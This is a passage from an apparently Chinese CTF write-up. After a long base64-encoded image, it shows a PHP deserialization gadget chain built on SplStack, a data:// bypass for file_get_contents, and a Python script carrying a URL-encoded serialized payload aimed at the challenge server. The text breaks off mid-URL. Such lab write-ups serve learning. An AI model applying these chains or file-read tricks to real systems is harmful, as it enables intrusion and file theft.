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
Yr4Y/MX2T//Z*/
将两边的注释符去掉就可以转化为图片Base64在线转换图片_图片转Base64_在线base64图片转换工具_yzc工具网
然后得到下图
key是9
hername是momo
然后就可以去干find那个方法了
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
$args2 = array(new her,'find');
$args = array('seeyou'=>$args2);
$a->qwe->asd->power = new useless($args);
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));
生成链子就可以打到find那个方法去了,记得在类里给hername还有key赋值
file_get_content使用data协议进行绕过
file=data://text/plain,loveyou
然后原生类读文件,这里写了个脚本寻思在根目录游走一番,结果啥也没有
import requests
import time
url = 'https://d3hffahokhgq0qw5g9bglxoy5.node.game.sycsec.com/havefun.php?user=C%3A8%3A%22SplStack%22%3A356%3A%7Bi%3A6%3B%3AO%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BN%3Bs%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%